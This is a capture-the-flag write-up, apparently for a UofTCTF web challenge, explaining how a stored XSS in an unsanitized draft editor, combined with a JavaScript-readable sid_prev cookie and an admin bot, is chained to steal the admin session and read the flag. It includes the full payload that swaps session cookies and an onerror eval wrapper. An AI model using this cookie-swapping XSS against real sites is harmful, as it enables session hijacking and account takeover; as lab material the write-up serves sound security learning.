The editor view renders draft HTML without sanitization, so a draft XSS is possible.
When a magic link is used, the app stores the previous session cookie in a
non-HttpOnly sid_prev cookie. By having the admin bot visit a magic link that
redirects to our edit page, our XSS can read sid_prev, swap to the admin
session, fetch /flag, then restore our session and save the flag into our own
post.
/edit/:id renders <%- draftContent %> directly.
Drafts are saved via /api/autosave without server-side sanitization./magic/:token saves the existing sid into
sid_prev with httpOnly: false, making it readable by JavaScript./report makes the admin bot visit a local URL, allowing the
XSS to execute in the admin session.postId./api/autosave so it runs on /edit/<postId>./magic/<token>).http://localhost:3000/magic/<token>?redirect=/edit/<postId>sid_prev=<admin sid> and sid=<your sid>.sid_prev, swaps sid to admin, fetches /flag,
restores sid, and saves the flag into your post./post/<postId> to read the flag.(async () => {
const cookies = Object.fromEntries(document.cookie.split(';').map(v => v.trim().split('=')));
const sidPrev = cookies.sid_prev;
const sidMine = cookies.sid;
if (!sidPrev || !sidMine) return;
document.cookie = 'sid=' + sidPrev + '; path=/';
const flag = await (await fetch('/flag')).text();
document.cookie = 'sid=' + sidMine + '; path=/';
await fetch('/api/save', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ postId: POST_ID, content: flag })
});
})();
Example HTML wrapper for the draft:
<img src=x onerror="eval(atob('<base64-js>'))">
http://localhost:3000/... when submitting to the bot.pow_challenge and
pow_solution in the /report POST.uoftctf{533M5_l1k3_17_W4snt_50_p3r50n41...}